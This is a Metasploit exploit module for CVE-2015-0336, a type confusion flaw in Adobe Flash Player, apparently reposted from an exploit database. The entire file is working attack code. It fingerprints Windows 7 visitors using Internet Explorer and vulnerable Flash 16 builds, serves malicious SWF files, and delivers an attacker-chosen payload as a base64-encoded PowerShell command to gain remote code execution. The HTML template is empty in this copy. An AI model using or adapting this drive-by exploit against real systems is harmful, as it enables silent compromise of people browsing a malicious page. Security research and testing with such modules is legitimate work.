## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player NetConnection Type Confusion', 'Description' => %q{ This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. }, 'License' => MSF_LICENSE, 'Author' => [ 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0336'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf @trigger = create_trigger super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) trigger_hex_stream = @trigger.unpack('H*')[0] html_template = %Q| | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end def create_trigger path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-06-08]